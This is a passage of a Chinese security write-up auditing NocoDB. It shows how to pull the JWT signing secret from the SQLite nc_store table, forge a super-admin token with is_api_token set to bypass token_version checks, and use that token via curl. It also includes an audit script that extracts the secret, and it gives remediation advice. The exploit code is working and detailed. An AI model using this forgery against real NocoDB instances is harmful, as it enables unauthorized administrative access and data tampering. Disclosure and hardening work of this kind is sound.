前面的 5 个攻击面都是配置层面的功能缺失。这个发现不太一样——它不是"配置没开",而是"默认架构的设计缺陷"。

5.1 nc_store 表里的秘密

NocoDB 默认使用 SQLite 作为配置数据库(也支持 MySQL/PostgreSQL)。在默认 Docker 部署中,数据库文件位于 /usr/app/data/noco.db。

我最初翻数据库是想确认 token_version 字段的存储方式——看它是存在用户表里还是缓存表里。结果在 nc_store 表里看到了意外的东西:

$ sqlite3 /usr/app/data/noco.db "SELECT * FROM nc_store WHERE key = 'nc_auth_jwt_secret';"
2||db|nc_auth_jwt_secret|36361e58-321d-4198-a204-6e5341e73f82

sqlite3 不在容器里,我是通过 docker cp 把数据库拷到宿主机上查的。nc_store 是个 key-value 表,nc_auth_jwt_secret 的 value 是 UUID 格式的字符串。这个值就是 JWT 的 HMAC-SHA256 签名密钥。

密钥直接明文存——没有加密,没有访问控制。只要攻击者能读取数据库文件(备份泄露、容器逃逸、路径穿越),就能拿到这个密钥。

源码 Noco.ts 里的 initJwt() 方法(line 263-292)揭示了这个密钥的加载过程:

public static async initJwt(): Promise<any> {
    if (this.config?.auth?.jwt) {
        if (!this.config.auth.jwt.secret) {
            let secret = (await this._ncMeta.metaGet(
                RootScopes.ROOT, RootScopes.ROOT,
                MetaTable.STORE,
                { key: 'nc_auth_jwt_secret' },
            ))?.value;

            if (!secret) {
                await this._ncMeta.metaInsert2(
                    RootScopes.ROOT, RootScopes.ROOT,
                    MetaTable.STORE,
                    { key: 'nc_auth_jwt_secret', value: (secret = uuidv4()) },
                    true,
                );
            }
            this.config.auth.jwt.secret = secret;
        }
        // ...
    }
}

逻辑很清楚:首次启动时用 uuidv4() 生成随机密钥存入数据库,后续从数据库读取。密钥只用了一次随机生成,之后一直复用——不会轮换,不会过期。

5.2 is_api_token 绕过 token_version 校验

有了 JWT 签名密钥就能伪造 Token。但 JwtStrategy 在校验时还有一个 token_version 检查。

看 strategies/jwt.strategy.ts 的代码:

async validate(req, jwtPayload) {
    if (!jwtPayload?.email || jwtPayload?.is_api_token || jwtPayload?.is_oauth_token)
        return jwtPayload;

    const user = await User.getByEmail(jwtPayload?.email);
    if (!user) NcError.unauthorized('Token Expired...');

    if (user.token_version !== jwtPayload.token_version) {
        NcError.unauthorized('Token Expired. Please login again.');
    }
    // ...
}

读到这里我停了一下。第三行——如果 payload 里设置了 is_api_token: true,直接返回 payload,不查数据库,不比 token_version。等等,那 token_version 检查不就被跳过了吗?

试一下伪造一个 JWT,payload

里写 is_api_token: true + 随便什么角色,看看服务端认不认。

5.3 伪造管理员Token

拿到了密钥和旁路条件,伪造过程很简单:

$ python3 -c "
import jwt, time
secret = '36361e58-321d-4198-a204-6e5341e73f82'
now = int(time.time())

payload = {
    'email': '[email protected]',
    'id': 'us_forged_admin_001',
    'display_name': 'Forged Admin',
    'roles': 'super-admin,org-level-creator',
    'is_api_token': True,    # ← 绕过关键
    'iat': now,
    'exp': now + 36000,
}

token = jwt.encode(payload, secret, algorithm='HS256')
print(token)
"

验证伪造的 Token:

$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \
  -H "xc-auth: <伪造的JWT>"
{
    "email": "[email protected]",
    "roles": {"super-admin": true, "org-level-creator": true},
    "is_api_token": true,
    "isAuthorized": true
}

/auth/user/me 确认了伪造的 Token 可用

,返回 super-admin 角色。注意响应里根本没有 email_verified 字段——这个用户不存在于数据库中,但仍然通过了认证。iat 和 exp 的值都是我们指定的。

再用这个 Token 上传文件:

$ echo 'forged by admin' > forged_test.txt
$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \
  -H "xc-auth: <伪造的JWT>" \
  -F "file=@forged_test.txt"

[{"path":"download/2026/07/27/{hash}/forged_test.txt","mimetype":"text/plain","size":16,"signedPath":"dltemp/..."}]

上传成功。注意这个用户([email protected])

根本不在 NocoDB 的数据库里——完全是凭空伪造出来的身份,但能通过认证并操作需要 SUPER_ADMIN 权限的功能。

5.4 攻击链总结

注册获得访问 → 获取数据库读取权限(备份泄露/存储共享/容器逃逸)
  → 从 nc_store 表提取 nc_auth_jwt_secret
  → 用密钥签发伪造 JWT(is_api_token: true + super-admin 角色)
  → 绕过 token_version 校验
  → 以管理员身份操作 NocoDB

最关键的发现不是"密钥存数据库"——所有系统都得存密钥。真正的发现是两条防御机制之间存在设计间隙:

1 token_version 是 NocoDB 用来防止旧 Token 滥用的机制,但 is_api_token 是它的旁路
2这两个功能是不同开发者、不同时间点写的逻辑,合在一起产生了绕过效果

3 JwtStrategy 的早期返回(line 19-24)写于 API 令牌功能的支持需求,但它为攻击者留了后门

5.5 防守建议

发现 修复方案 优先级
JWT 密钥明文存 SQLite 改用环境变量 NC_AUTH_JWT_SECRET,不依赖数据库存储 🔴 高
is_api_token 旁路 JwtStrategy 的早期返回不应允许自定义 roles 字段;或在绕过时降权为 guest 🔴 高
密钥不轮换 定期更换 JWT 签名密钥,使旧 Token 失效 🟡 中
数据库文件暴露 确保 noco.db 不被公开访问或包含在备份泄露中 🟠 高

六、额外发现

6.1 邮箱验证不强制

注册后的邮箱验证端点虽然存在,但注册流程里从来没有调用过它:

$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/test_token_here{"msg":"Token has been validated successfully"}

端点存在、响应 200、接受任意 tokenId 参数。再用一个不存在的 tokenId 试试:

$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/email/validate/invalid_token_xxx{"msg":"Token has been validated successfully"}

看到了吧——不管传什么 tokenId,都返回"验证成功"。说明这个端点的实现可能是个空壳,或者 tokenId 查找失败时默认返回成功。

源码 line 597-599 有一段注释:

// TODO: Right now we are not actively enforcing email verification
// so we are not sending email verification email
// but we should send email verification email

用任意邮箱(包括不存在的域名)注册后可以直接用 Token 访问所有授权接口。邮箱验证这个环节完全被跳过了。

我一开始没注意到邮箱验证的问题——注册成功后直接就能用 Token,我以为验证是在后台静默完成的。后来看源码才发现注册流程里根本没有调用 emailVerification 方法。signup 流程在 usersService.signup() 结尾直接返回了 login(user) 的结果(也就是 JWT),没有等待验证。

这也就意味着攻击者可以用 [email protected]、[email protected] 这类看起来可信的邮箱注册。虽然不会真的获得管理员权限,但污损了用户数据库的数据完整性——管理员在后台看到一堆乱起八糟的邮箱。注册流程中还有 T.emit('evt_subscribe', email) 事件发射,如果配置了邮件订阅服务,还可能造成邮件轰炸。

6.2 密码重置端点是空壳

$ curl -s -X POST http://139.199.68.168:8080/api/v1/auth/password/forgot \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

{"msg":"Please check your email to reset the password"}

如果没有配置邮件服务(Docker 默认不配 SMTP),这个端点就只是返回了一句话,什么也没做。邮件发送失败会被 catch 块吞掉(源码 line 610-612),只有一条 warn 日志:

this.logger.warn('Warning : `mailSend` failed, Please configure emailClient configuration.');

如果是真实攻击场景,默认配置下无法通过密码重置拿账号——换个角度想,如果管理员配了 SMTP,密码重置 token 就变成了一个攻击面(token 泄漏、暴力破解 token 等)。但默认配置下这个功能是关闭的。

不是漏洞,但它说明邮件通知相关的安全功能(密码重置、邮箱验证、登录告警)在默认配置下全是空壳。如果管理员以为"有密码重置功能就安全了",这个认知差距本身就是风险。

我在排查邮件功能的时候还发现了一个细节——appSettings 里有一个 invite_only_signup 配置项。如果管理员设置了这个字段,就能阻止开放注册。但我在 Docker 默认部署中检查了这个配置,它的值是 undefined,所以注册对所有请求开放。设置方法是通过 NocoDB 管理后台或直接插入数据库 nc_store 表。

6.3 Token 有效期 10 小时

genJwt 函数的默认设置(services/users/helpers.ts):

{ expiresIn: '10h', ...(config.auth.jwt.options as any), ...jwtOptions }

10 小时的窗口不算短——攻击者拿到 Token 后,有足够的时间做侦察、数据导出、横向移动。JWT 签发后服务端不做主动撤销(除非调用 signOut 导致 token_version 更新),所以 Token 一直有效到期满。

对比同类产品的默认 Token 有效期:Airtable 的 API key 不会自动过期,Supabase 的匿名 Token 默认 1 小时,Appwrite 的 JWT 默认 15 分钟。NocoDB 的 10 小时在同类产品中是最长的之一。

token_version 机制的设计意图是登出或密码变更时让旧 Token 失效,很好的安全实践。但攻击者自己注册的 Token 不存在登出问题——只要不触发 token_version 更新,Token 就一直有效。

如果管理员配置了 NC_AUTH_JWT_SECRET,密钥泄露后攻击者可以在 Token 过期后自行签发任意身份的 Token。此时 token_version 校验也防不住——攻击者可以签发一个包含已知 token_version 的新 Token。

七、防守建议

问题 修复方案 实现方式 优先级
开放注册 关闭开放注册 NC_DISABLE_SIGNUP=true 环境变量 🔴 高
文件无类型限制 加 MIME 白名单 自定义 fileFilter 回调,只允许图片/文档 🔴 高
下载无需认证 守卫保护下载路由 给 /download/* 等挂 GlobalGuard 🔴 高
无文件隔离 下载校验所有权 按 req.user.id 匹配文件路径的 hash 🟠 中
邮箱验证缺失 启用验证流程 注册后发验证邮件,未验证 Token 降低权限 🟡 中
版本信息泄露 屏蔽版本路由 反向代理拦截 /api/version 🟡 中
无速率限制 加限流 Nginx/AWS WAF 限制单 IP 请求量 🟡 中

如果不想改代码,最低成本的防御是三层策略:

网络层:NocoDB 不直接暴露公网。放到内网通过反向代理访问。这样 /download/* 虽然没守卫,但外部流量到不了 NocoDB。这是收益最高的单条防御。

认证层:设置 NC_DISABLE_SIGNUP=true。环境变量在 Docker 启动时加一行就行:

$ docker run -e NC_DISABLE_SIGNUP=true -p 8080:8080 nocodb/nocodb:latest

一个环境变量解决开放注册和批量注册两个问题。

应用层:反向代理加文件类型过滤。Nginx 配置示例:

location ~ ^/(download|dl|dltemp)/ {
    # 阻止危险文件类型被下载
    if ($uri ~* \.(html?|php|phtml|php[0-9]|jsp|asp|aspx|sh|pl|cgi)$) {
        return 403;
    }
    proxy_pass http://nocodb:8080;
}

这只是一个快速拦截方案——理想方案是在 NocoDB 源码层面给下载路由加 @UseGuards(GlobalGuard),或者开启附件签名验证(NocoDB 有 PresignedUrl 模型但默认未启用)。

如果按照部署环境来分类,推荐的加固优先级略有不同:

公网部署:开放注册是最高优先级风险,攻击者不需要任何前置条件就能注册账号。先关注册,再补下载路由守卫。反向代理挡 /download/* 在下游配置里加一行就行。

内网部署:开放注册的风险相对小(因为攻击者需要先进入内网),但文件上传和下载仍然是问题。内网用户也可能上传恶意文件互相攻击。先把下载路由补上。

开发/测试环境:至少关掉版本信息暴露,防止侦察。开发环境通常有调试日志、测试数据,暴露出去的信息量比生产环境还大。

八、写到最后

NocoDB 是个好产品,功能强、社区活跃。但这个分析下来,下载路由完全没守卫——上传挂了 GlobalGuard + MetaApiLimiterGuard 两个守卫,下载一个都没挂。三个下载路由的代码相隔不到 100 行,在编辑器里上下翻一下就能看到上传的守卫装饰器。

源码里的 todo 注释("opening up signup for timebeing")同样说明团队知道问题,但没排进修复优先级。开源项目功能优先于安全,可以理解。

做这个分析最大的感受是:NocoDB 的问题不是代码写得不好,而是"没人把整个攻击链路走一遍"。上传路由有守卫、下载路由没有,这种不对称在逐文件审查时一眼就能看出来,但功能开发时不会想到有人从上传到下载到数据库一路摸过去。如果你在生产环境用 NocoDB,建议先把 NC_DISABLE_SIGNUP=true 打开。

文中所有验证均在自有服务器完成,未攻击第三方系统。

附:nocodb-audit.sh

#!/bin/bash
TARGET="${1:-http://localhost:8080}"

echo "================================================"
echo " NocoDB 安全检查"
echo " Target: $TARGET"
echo "================================================"

echo -e "\n[1/6] 版本信息泄露"
curl -s "$TARGET/api/v1/version" | python3 -m json.tool

echo -e "\n[2/6] 开放注册"
RESULT=$(curl -s -X POST "$TARGET/api/v1/auth/user/signup" \
  -H "Content-Type: application/json" \
  -d "{\"email\":\"audit_$(date +%s)@test.com\",\"password\":\"Test1234!\",\"first_name\":\"Audit\",\"last_name\":\"Bot\"}")
TOKEN=$(echo "$RESULT" | python3 -c "import sys,json;print(json.load(sys.stdin).get('token','N/A'))" 2>/dev/null)
echo "Token: ${TOKEN:0:30}..."

[ "$TOKEN" = "N/A" ] && echo "注册失败" && exit 1

echo -e "\n[3/6] 文件上传"
echo 'audit_ok' > /tmp/audit.txt
UPLOAD=$(curl -s -X POST "$TARGET/api/v1/db/storage/upload" \
  -H "xc-auth: $TOKEN" \
  -F "file=@/tmp/audit.txt")
P=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['path'])" 2>/dev/null)
SP=$(echo "$UPLOAD" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d[0]['signedPath'])" 2>/dev/null)
echo "上传路径: $P"

echo -e "\n[4/6] 下载(无认证)"
curl -s "$TARGET/$P"
echo ""
curl -s "$TARGET/$SP"
echo ""

echo -e "\n[5/6] 跨用户访问"
curl -s "$TARGET/$P"
echo ""

echo -e "\n[6/6] JWT密钥"
if command -v docker &>/dev/null; then
    CID=$(docker ps -q --filter publish=8080 2>/dev/null | head -1)
    if [ -n "$CID" ]; then
        docker cp "$CID:/usr/app/data/noco.db" /tmp/noco_audit.db 2>/dev/null
        if [ -f /tmp/noco_audit.db ] && command -v sqlite3 &>/dev/null; then
            SECRET=$(sqlite3 /tmp/noco_audit.db "SELECT value FROM nc_store WHERE key='nc_auth_jwt_secret';" 2>/dev/null)
            [ -n "$SECRET" ] && echo "JWT密钥: $SECRET"
            rm -f /tmp/noco_audit.db
        fi
    fi
fi
echo "(需本地访问 noco.db)"

echo -e "\n================================================"
echo " 检查完成"
echo "================================================"